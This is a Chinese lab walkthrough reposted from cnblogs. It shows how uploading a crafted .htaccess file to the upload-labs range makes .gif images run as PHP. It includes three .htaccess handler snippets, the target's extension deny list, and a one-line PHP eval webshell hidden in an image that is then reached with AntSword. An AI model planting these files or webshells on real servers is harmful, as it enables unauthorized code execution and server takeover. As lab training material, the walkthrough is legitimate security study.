ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

.htaccess文件解析漏洞

2022-06-25 19:33:30  阅读:163  来源: 互联网

标签:文件 php ext 漏洞 htaccess file 解析


前言

htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

一、实验环境

  • PHPstudy
  • php5.6以下不带nts的版本
  • upload-labs-master文件上传漏洞靶场
  • 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
     

二、原理

上传覆盖.htaccess文件,重写解析规则,将上传的图片马以脚本方式解析

三、.htaccess文件内容

htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。

 

第一种、虽然好用,但是会误伤其他正常文件,易被发现
1 <IfModule mime_module>
2 AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
3 SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
4 </IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现

只要文件名匹配到所定义的字符串,就会将该文件当作php解析

1 <FilesMatch "自定义.gif">
2 SetHandler application/x-httpd-php   #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行
3 AddHandler php5-script .gif          #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行
4 </FilesMatch>
第三种、同1没太大区别
1 <IfModule mime_module>
2 AddType application/x-httpd-php .gif
3 </IfModule>

 

四、实验

1、选择upload-labs-master的第四关
源代码如下: 
 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists(UPLOAD_PATH)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12 
13         if (!in_array($file_ext, $deny_ext)) {
14             $temp_file = $_FILES['upload_file']['tmp_name'];
15             $img_path = UPLOAD_PATH.'/'.$file_name;
16             if (move_uploaded_file($temp_file, $img_path)) {
17                 $is_upload = true;
18             } else {
19                 $msg = '上传出错!';
20             }
21         } else {
22             $msg = '此文件不允许上传!';
23         }
24     } else {
25         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
26     }
27 }

 

2、上传写好的.htaccess文件,这里我用的第一种方法,内容如下:
1 1 <IfModule mime_module>
2 2 AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
3 3 SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
4 4 </IfModule>

 

 

 

3、制作图片马 

一句话木马文件

1 php @eval($_POST['pass']);

 

 

4、上传图片马

 

 

5、蚁剑连接

复制图片连接

  

 

 

 五、总结

避免使用.htaccess文件有两个主要原因:
1、性能
如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件。因此,无论是否真正用到,启用.htaccess都会导致性能的下降。且对于每一个请求,都需要读取一次.htaccess文件。

Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用,所以,如果请求/w1/w2/www中的页面,Apache必须查找以下文件:
/.htaccess、/w1/.htaccess、/w1/w2/.htaccess、/w1/w2/www/.htaccess
共要访问4个额外的文件,即使这些文件都不存在。而这可能仅仅由于允许根目录"/"使用.htaccess ,虽然这种情况并不多。

2、安全
允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,且如果给予用户较少的特权而不能满足其需要,则会带来额外的技术支持请求。所以,必须明确地告诉用户已经给予他们的权限,说明AllowOverride设置的值,并引导他们参阅相应的说明,以免日后生出许多麻烦。

标签:文件,php,ext,漏洞,htaccess,file,解析
来源: https://www.cnblogs.com/ggc-gyx/p/16412236.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有